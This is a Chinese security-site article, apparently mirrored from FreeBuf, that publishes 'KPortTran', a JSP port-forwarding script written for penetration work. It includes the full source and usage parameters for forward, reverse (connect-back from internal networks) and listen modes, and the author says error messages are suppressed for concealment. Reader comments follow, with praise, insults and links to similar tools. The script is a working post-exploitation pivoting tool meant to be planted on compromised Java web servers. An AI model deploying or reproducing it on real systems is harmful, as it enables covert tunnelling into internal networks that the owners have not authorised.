CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

端口转发

2017年5月23日 727点热度 0人点赞 0条评论

端口转发

  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

JSP端口转发工具 – KPortTran

KingX2013-10-29共180646人围观 ,发现 19 个不明物体工具

渗透过程中,由于windows和linux的差别以及运行语言环境的限制导致端口转发经常出现问题。于是自己写了个简单的JSP的端口转发脚本。仿造LCX的功能,具有正向、反向、监听三种模式。对于目前数量众多的JAVA WEB网站来说,可以比较方便的实现端口转发。

在这里发布出来,小伙伴们使用过程中,如果发现什么bug欢迎提交哈~

参数说明

/KPortTran.jsp?
lip = local ip / 本地ip                    //一般为内网主机IP
lp = local port / 本地端口                 //一般为内网主机端口
rip = remote ip / 远程ip                 //一般为外网连接者IP,或者内网其他主机
rp = remote port / 远程端口             //一般为外网连接者端口
lp2 = local port2 / 本地端口2             //本地监听转发时的第二个端口
m = mode / 运行模式                     //合法的值有:listen tran slave三种

运行模式

m = listen
需要参数:lp、lp2
该模式下,会在本地监听两个端口,相互转发数据
m = tran
需要参数:lip、lp、rip、rp
该模式为正向转发下,会在本地的lip上监听lp端口,当有连接建立时,再连接rip的rp端口。并将lip的lp上接收到的数据发向rip主机的rp端口。
m = slave
需要的参数: lip、lp、rip、rp
该模式为反向转发,会分别连接主机lip的lp端口 和 主机rip的rp端口。并转发两者数据,可用于内网反连。

注意事项:

某些server上使用时,可能由于编码问题会报错,请根据实际情况,更改代码首行的编码设置。
为了隐蔽,没有设置错误信息返回。如果不能执行,请检查一下参数。

测试截图与源代码:

<%@page pageEncoding="GBK"%>
<%@page import="java.io.*"%>
<%@page import="java.util.*"%>
<%@page import="java.nio.charset.*"%>
<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
<%@page import="java.net.*"%>
<%
/*code by KingX*/
class KPortTran {
	public void listen(String port1, String port2) {
		ServerSocket listenServerSocket = null;
		ServerSocket outServerSocket = null;
		try {
			listenServerSocket = new ServerSocket(Integer.parseInt(port1));
			outServerSocket = new ServerSocket(Integer.parseInt(port2));
		} catch (NumberFormatException e) {
			
		} catch (IOException e) {
		}
		Socket listenSocket = null;
		Socket outSocket = null;
		try {
			while (true) {	
				listenSocket = listenServerSocket.accept();
				outSocket = outServerSocket.accept();
				new tranThread(outSocket, listenSocket).start();
				new tranThread(listenSocket, outSocket).start();
				Thread.sleep(200);
			}
		} catch (Exception e) {	
	  }
	}

	public void slave(String targetIP, String port1, String srcIP, String port2) throws IOException {
		InetAddress src = InetAddress.getByName(srcIP);
		InetAddress dest = InetAddress.getByName(targetIP);
		int p1 = Integer.parseInt(port1);
		int p2 = Integer.parseInt(port2);
		new Server(src, p2, dest, p1, true);
	}

	public void tran(String srcIP, String port1, String targetIP, String port2)
			throws NumberFormatException, IOException {
		InetAddress src = InetAddress.getByName(srcIP);
		InetAddress dest = InetAddress.getByName(targetIP);
		int p1 = Integer.parseInt(port1);
		int p2 = Integer.parseInt(port2);
		new Server(src, p1, dest, p2, false);
	}
class tranThread extends Thread {
	Socket in;
	Socket out;
	InputStream is;
	OutputStream os;
	public tranThread(Socket in, Socket out) throws IOException {
		this.is = in.getInputStream();
		this.os = out.getOutputStream();
		this.in = in;
		this.out = out;
	}

	private void closeSocket() {
		try {
			is.close();
			os.close();
			in.close();
			out.close();
		} catch (IOException e) {
		}
	}
	@Override
	public void run() {
		super.run();
		byte[] buffer = new byte[4096];
		int len = -1;
		try {
			while (true) {
				if (in.isClosed() || out.isClosed()|| (len = is.read(buffer, 0, buffer.length)) == -1) {
					break;
				} else {
					os.write(buffer, 0, len);
					os.flush();	
				}
			}
		} catch (IOException e) {
			closeSocket();
		} finally {
			closeSocket();
		}
	}
}


class Server extends Thread {
	InetAddress src;
	InetAddress dest;
	int p1, p2;
	boolean reverse = false;
	
	public Server(InetAddress srcIP, int srcPort, InetAddress targetIP,
			int targetPort, boolean flag) {
		this.src = srcIP;
		this.dest = targetIP;
		this.p1 = srcPort;
		this.p2 = targetPort;
		this.reverse = flag;
		start();
	}

	@Override
	public void run() {
		super.run();
		if (reverse) {
			try {
				Socket s = new Socket(src, p1);
				Socket s2 = new Socket(dest, p2);
				new tranThread(s, s2).start();
				new tranThread(s2, s).start();

				while (true) {
					if (s2.isClosed() || s.isClosed()) {
						if (s2.isClosed()) {
							s2 = new Socket(dest, p2);
						}
						if (s.isClosed()) {
							s = new Socket(src, p1);
						}
						new tranThread(s, s2).start();
						new tranThread(s2, s).start();
					}
					Thread.sleep(1000);
				}
			} catch (IOException e) {
			} catch (InterruptedException e) {
			}

		} else {
			ServerSocket ss;
			try {
				ss = new ServerSocket(p1, 5, src);

				while (true) {
					Socket s = ss.accept();
					Socket s2 = new Socket(dest, p2);
					new tranThread(s, s2).start();
					new tranThread(s2, s).start();
				}
			} catch (IOException e) {
				e.printStackTrace();
			}
		}
	}
}
}
%>
<%
final String localIP = request.getParameter("lip");
final String localPort = request.getParameter("lp");
final String localPort2 = request.getParameter("lp2");
final String remoteIP =request.getParameter("rip");
final String remotePort =request.getParameter("rp");
final String mode =request.getParameter("m");

KPortTran pt = new KPortTran();
if (mode.equals("tran")) {
	pt.tran(localIP, localPort, remoteIP , remotePort);
}
if (mode.equals("slave")) {
	pt.slave(localIP, localPort, remoteIP , remotePort);
}
if (mode.equals("listen")) {
	pt.listen(localPort, localPort2);
}

%>

kingx

KingX
|
|
  • 上一篇:Linux系统安全检查工具——Lynis
  • 下一篇:Outlook Password Dump:快速恢复你遗失的Microsoft Outlook密码

这些评论亮了

  • fuckyou回复
    @破JB工具吧
    你去年就用大习科的工具你去年怎么没发出来让我们这等菜鸟养眼?
    你见过所谓的大牛把端口复用整合进去的怎么没见你发出来?
    fb的稿子越来越下三滥了怎么没见你破即把发几篇上三滥的稿子?
    人家发出来是精神你勇气是时间你有什么资格乱吠?
    像你们这种只知道免费索取,一群自以为别人都欠你的似的之人
    我只想说,滚你妈的。
    )34(亮了
  • 破JB工具吧回复
    这种工具网上不知道有多少,我去年就在用这个了http://attach.blackbap.org/down/wzaq/jspdkzf.rar
    还见过大牛把端口复用整合进去的,FB的稿子真实越来越下三滥了
    )13(亮了
发表评论

已有 19 条评论

  • rookit' 2013-10-29回复1楼

    nice job

    亮了(0)
  • 墨阳 (1级) 2013-10-29回复2楼

    叼。

    亮了(0)
  • Mystery。 (6级)肆零叁文化传媒 COO 2013-10-29回复3楼

    nice

    亮了(0)
  • niko (1级) 2013-10-29回复4楼

    good

    亮了(0)
  • 河蟹的小小号 2013-10-29回复5楼

    perfect

    亮了(0)
  • init5 (3级)招商银行安全员 2013-10-29回复6楼

    霸气

    亮了(0)
  • admin 2013-10-29回复7楼

    吊死

    亮了(0)
    • system 2013-10-29回复

      @admin 哈哈 名字要不要这么吊死 还不快去抢红米

      亮了(0)
  • 破JB工具吧 2013-10-30回复8楼

    这种工具网上不知道有多少,我去年就在用这个了http://attach.blackbap.org/down/wzaq/jspdkzf.rar
    还见过大牛把端口复用整合进去的,FB的稿子真实越来越下三滥了

    亮了(13)
    • test 2013-10-30回复

      @破JB工具吧 端口转发本来也不是什么高深的技术。你发的这个工具也只有一种反连模式而已。

      亮了(0)
    • fuckyou 2013-10-30回复

      @破JB工具吧
      你去年就用大习科的工具你去年怎么没发出来让我们这等菜鸟养眼?
      你见过所谓的大牛把端口复用整合进去的怎么没见你发出来?
      fb的稿子越来越下三滥了怎么没见你破即把发几篇上三滥的稿子?
      人家发出来是精神你勇气是时间你有什么资格乱吠?
      像你们这种只知道免费索取,一群自以为别人都欠你的似的之人
      我只想说,滚你妈的。

      亮了(34)
  • @黑客 2013-10-30回复9楼

    总是有这种垃圾,楼主不需要生气。

    亮了(3)
  • 河蟹 2013-11-01回复10楼

    和jspspy的 端口转发有啥区别?和这个有啥区别http://hi.baidu.com/possible_1/item/18011b77f285795bef1e53d1

    不想喷

    亮了(0)
  • ipadroid (1级) 2013-12-24回复11楼

    我要喷的是代码的问题–>KPortTran 中的slave和tran方法是一样的,只是参数反了而已,为什么不复用?

    亮了(0)
    • walkman 2014-03-16回复

      @ipadroid  恩,写完之后没怎么优化代码结构,还可以精简下,不过不影响使用

      亮了(0)
  • 我是冰封 2014-10-31回复12楼

    http://www.2cto.com/Article/201408/328097.html

    这个代码码得不错

    亮了(0)
  • 20 (1级)漏洞、代码一窍不通的人文型网络技术爱好者 2015-09-02回复13楼

    inverse host lookup failed: h_errno 11004: NO_DATA
    :arrow:

    亮了(0)
  • 20 (1级)漏洞、代码一窍不通的人文型网络技术爱好者 2015-09-17回复14楼

    不能用LCX接收吗?
    nc监听只有一个端口啊

    亮了(0)
  • 根本没用啊 2016-10-15回复15楼

    这玩意儿没用啊,而且打开是404

    亮了(0)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

KingX

这家伙太懒,还未填写个人描述!

227 篇文章0 条评论

相关阅读

  • Web日志安全分析工具 v2.0发布
  • 渗透测试专用浏览器Sandcat 4.0版本发布
  • 工控设备扫描工具 – PLCScan
  • 担心软件绑病毒?快关到沙盒里去 – Sandboxie
  • libnmap – Nmap的Python第三方库

特别推荐

关注我们 分享每日精选文章

不容错过

  • 看警方如何社工暗网恋童网站逮捕虐童狂魔clouds2016-08-31
  • 访问一个网站就能让ASLR保护失效,百万设备陷入危机bimeover2017-02-21
  • 走进科学:现代汽车的大脑与安全破晓2014-12-15
  • 跪求浏览器拦截本站的解决方案……FB独家2016-03-30

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月23日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me